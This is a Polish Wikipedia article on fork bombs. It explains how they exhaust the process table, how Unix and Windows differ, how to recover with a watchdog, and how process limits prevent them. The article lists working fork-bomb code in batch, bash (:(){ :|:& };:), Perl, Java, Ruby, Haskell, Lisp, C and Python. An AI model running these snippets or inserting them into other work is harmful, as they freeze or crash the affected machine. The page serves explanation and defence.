Fork-bomba (ang. fork bomb) – rodzaj ataku Denial of Service na systemy komputerowe.

Idea fork-bomby opiera się na rozmnożeniu procesów, aż do wykorzystania dostępnych zasobów.

Implementacja ataku

edytuj

Charakterystyka

edytuj

Podstawowa implementacja fork-bomby jest nieskończoną pętlą, która uruchamia kolejne kopie tego samego procesu. Atak opiera się na założeniu, że w środowisku wieloprocesowym tylko pewna liczba procesów może być efektywnie wykonywana naraz. Atak polega na bardzo szybkim „rozmnożeniu” kopii programu (fork to nazwa funkcji systemowej służącej do duplikowania procesów) w celu wypełnienia tablicy procesów systemu operacyjnego[1][2]. W takiej sytuacji wywołanie nowego procesu (mającego na celu np. zabicie procesów bomby) jest wstrzymane do czasu zwolnienia choćby jednego wpisu, co jednak jest mało prawdopodobne, ponieważ każdy proces bomby jest gotów w tym momencie się rozmnożyć.

Ponieważ każdy z procesów bomby wykonuje jakiś kod (nie usypia się), planista systemowy każdemu z nich przydziela czas procesora, co praktycznie zatrzymuje działanie systemu. Jedną z technik obrony przed fork-bombami jest ustalenie górnego limitu procesów, jakie może utworzyć dany proces lub użytkownik (dotyczy to również jego dalszych procesów potomnych).

Porównanie ataku w systemach Windows oraz Unix

edytuj

W systemach z rodziny Unix, fork bomby przeważnie używają wywołania funkcji fork[2]. Ponieważ procesy utworzone przez bombę są kopiami programu „pierwotnego”, w momencie kolejnych wykonań zaczynają także tworzyć kopie samych siebie; w efekcie dochodzi do wykładniczego wzrostu ilości procesów. Ponieważ współczesne systemy Unix przeważnie korzystają z opcji kopiowania przy zapisie przy tworzeniu nowych procesów wywołaniem fork[3], bomba zazwyczaj nie zużywa dużej ilości pamięci.

Systemy Microsoft Windows nie posiadają funkcji, będącej odpowiednikiem wywołania fork w systemach Unix[4]; zatem fork bomba na takim systemie musi tworzyć nowy proces zamiast kopiować istniejący.

Przykłady fork-bomb

edytuj
:loop
start %0
goto loop

Inna wersja:

@echo.%0^|%0›$^_^.c^md&$_›nul
:(){ :|:& };:

Wyjaśnienie: zdefiniowana jest tutaj funkcja o nazwie „:” nie przyjmująca żadnego parametru. W swoim ciele (ograniczanym przez "{" i "}") wywołuje się rekurencyjnie dwukrotnie, przekierowując wyjście pierwszego wywołania na wejście drugiego wywołania poprzez mechanizm nienazwanych potoków (pipes, „|”) i przechodzi do tła – „&” – : dzięki czemu zabicie procesu-rodzica nie zabije procesów-potomków. Średnik kończy definicję funkcji, a końcowy dwukropek jest jej pierwszym wywołaniem. Poniżej znajduje się bardziej przejrzysty zapis (zmieniono nazwę funkcji):

bomba()
{
   bomba | bomba &
};
bomba
perl -e "fork while fork"
public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}
loop { fork { load(__FILE__) } }

Alternatywna postać:

loop do
    fork do
        load(__FILE__)
    end
end
import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb
(loop (#_fork))

C:

#include <unistd.h>

int main(void)
{
    while(1) fork();
}
import os
while os.fork() == 0:
    os.fork()

Trudność naprawy

edytuj

Kiedy fork-bomba zostanie poprawnie uruchomiona, odzyskanie sprawności systemu może nie być możliwe bez ponownego uruchomienia, ponieważ jedynym sposobem na zniszczenie fork-bomby jest zabicie wszystkich jej procesów. Próba użycia programu do zabicia złośliwych procesów zwykle potrzebuje utworzenia odrębnego procesu, co może się nie udać, gdy nie ma wolnych miejsc w tablicy procesów lub wolnej pamięci. Może wymagać restartu lub wyłączenia.

Automatycznie może naprawić go watchdog. Programowy watchdog linuksa, przy ustawionym ograniczeniu liczby oczekujących procesów (odkomentowaniu linii zaczynających się od „max-load”), możliwie łagodnie zrestartuje system.

Metoda sprawdzona na Debianie poleceniem[5]:

:(){ :|:& };:

po zmianie ustawień w zbiorze /etc/watchdog.conf na:

max-load-1       = 120
max-load-5       =  90
max-load-15      =  30
min-memory       =   1

Zapobieganie

edytuj

Jedną z możliwości zapobieżenia fork-bombie jest ustanowienie limitu liczby procesów, które może uruchomić użytkownik. Gdy proces próbuje utworzyć inny proces, a jego rodzic posiada już więcej niż przewiduje maksimum, sklonowanie nie zachodzi. Maksimum powinno być wystarczająco niskie, aby w razie zaatakowania maszyny przez wielu użytkowników naraz pozostawić wystarczającą ilość wolnych zasobów dla uniknięcia katastrofy.

Przypisy

edytuj
  1. Nong Ye: Secure Computer and Network Systems: Modeling, Analysis and Design. 2008, s. 16. ISBN 0-470-02324-4.
  2. a b Dong Jielin: Network Dictionary. 2007, s. 200. ISBN 1-60267-000-5.
  3. D. M. Dhamdhere: Operating Systems: A Concept-based Approach. 2006, s. 285. ISBN 0-07-061194-7.
  4. Mark Hammond: Python Programming On Win32: Help for Windows Programmers. 2000, s. 35. ISBN 1-56592-621-8.
  5. Kontrola działania watchdoga

📚 Artikel Terkait di Wikipedia

Pętla (informatyka)

zakończenia mogą być umieszczone wewnątrz pętli na przykład w Adzie pętla loop z konstrukcją exit when. Osobny artykuł: Pętla ogólna. To pętla stosowana

Lisp

implementacja, zamiast rekurencji wykorzystująca makro loop z Common Lispu: (defun factorial (n) (loop for i from 1 to n for fac = 1 then (* fac i) finally

Pętla foreach

typ_danych-lub-tablica loop ... end loop;, także dla zakresu: for i in typ_danych range w1..w2 loop ... end loop;, for i in tablica'range(x) loop ... end loop;, oraz

Arduino

początku działania programu, wykorzystywana najczęściej do ładowania ustawień, loop() – funkcja wywoływana wielokrotnie, przez cały okres działania programu

Ada (język programowania)

(2); loop exit when End_Of_File (Plik); Get (Plik, Litera); Put (Litera); if End_Of_Line (Plik) then New_Line; end if; end loop; Close (Plik); end loop; else

Język wysokiego poziomu

program w języku wysokopoziomowym – BASIC-u: A:=2; FOR I:=1 TO 20 LOOP A:=A*I; END LOOP; PRINT(A); asembler język maszynowy język niskiego poziomu asemblerowy

RPL (język programowania)

condition REPEAT loop_statement END DO loop_statement UNTIL condition END comp.sys.hp48 FAQ: 2 of 4 – Hardware, Programs, and Programming [online], www.faqs

BASIC

http://rfobasic.com/#section-1 Vickers, Steven (1982). Sinclar ZX Spectrum BASIC Programming. Sinclair Research. p d e Języki programowania Kontrola autorytatywna (język